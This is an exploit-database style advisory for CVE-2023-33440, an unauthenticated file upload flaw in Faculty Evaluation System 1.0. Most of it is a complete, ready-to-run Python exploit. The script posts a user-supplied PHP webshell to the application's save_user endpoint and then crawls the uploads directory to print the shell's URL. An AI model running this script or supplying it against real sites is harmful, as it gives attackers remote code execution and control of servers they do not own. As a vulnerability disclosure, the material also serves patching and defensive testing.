Authored by Alex Gan

Faculty Evaluation System version 1.0 suffers from a remote shell upload vulnerability.

advisories | CVE-2023-33440

# Exploit Title: Faculty Evaluation System 1.0 - Unauthenticated File Upload
# Date: 5/29/2023
# Author: Alex Gan
# Vendor Homepage: https://www.sourcecodester.com/php/14635/faculty-evaluation-system-using-phpmysqli-source-code.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/eval_2.zip
# Version: 1.0
# Tested on: LAMP Fedora server 38 (Thirty Eight) Apache/2.4.57 10.5.19-MariaDB PHP 8.2.6
# CVE: CVE-2023-33440
# References: https://nvd.nist.gov/vuln/detail/CVE-2023-33440
# https://www.exploit-db.com/exploits/49320
# https://github.com/F14me7wq/bug_report/tree/main/vendors/oretnom23/faculty-evaluation-system
#
#!/usr/bin/env python3
import os
import sys
import requests
import argparse
from bs4 import BeautifulSoup
from urllib.parse import urlparse
from requests.exceptions import ConnectionError, Timeout

def get_args():
parser = argparse.ArgumentParser()
parser.add_argument('-u', '--url', type=str, help='URL')
parser.add_argument('-p', '--payload', type=str, help='PHP webshell')
return parser.parse_args()

def get_user_input(args):
if not (args.url):
args.url = input('Use the -u argument or Enter URL:')
if not (args.payload):
args.payload = input('Use the -p argument or Enter file path PHP webshell: ')
return args.url, args.payload

def check_input_url(url):
parsed_url = urlparse(url)
if not parsed_url.scheme:
url = 'http://' + url
if parsed_url.path.endswith('/'):
url = url.rstrip('/')
return url

def check_host_availability(url):
try:
response = requests.head(url=url + '/login.php')
if response.status_code == 200:
print("[+] Host is accessible")
else:
print("[-] Host is not accessible")
print(" Status code:", response.status_code)
sys.exit()
except (ConnectionError, Timeout) as e:
print("[-] Host is not accessible")
sys.exit()
except requests.exceptions.RequestException as e:
print("[-] Error:", e)
sys.exit()

def make_request(url, method, files=None):
if method == 'GET':
response = requests.get(url)
elif method == 'POST':
response = requests.post(url, files=files)
else:
raise ValueError(f'Invalid HTTP method: {method}')

if response.status_code == 200:
print('[+] Request successful')
return response.text
else:
print(f'[-] Error {response.status_code}: {response.text}')
return None

def find_file(response_get, filename, find_url):
soup = BeautifulSoup(response_get, 'html.parser')

links = soup.find_all('a')
found_files = []

for link in links:
file_upl = link.get('href')
if file_upl.endswith(filename):
found_files.append(file_upl)

if found_files:
print(' File found:')
for file in found_files:
print('[*] ' + file)

print(' Full URL of your file:')
for file_url in found_files:
print('[*] ' + find_url + file_url)
else:
print('[-] File not found')

def main():
args = get_args()
url, payload = get_user_input(args)
url = check_input_url(url)
check_host_availability(url)

post_url = url + "/ajax.php?action=save_user"
get_url = url + "/assets/uploads/"
filename = os.path.basename(payload)
payload_file = [('img',(filename,open(args.payload,'rb'),'application/octet-stream'))]

print(" Loading payload file")
make_request(post_url, 'POST', files=payload_file)
print(" Listing the uploads directory")
response_get = make_request(get_url, 'GET')
print(" Finding the downloaded payload file")
find_file(response_get, filename, get_url)

if __name__ == "__main__":
main()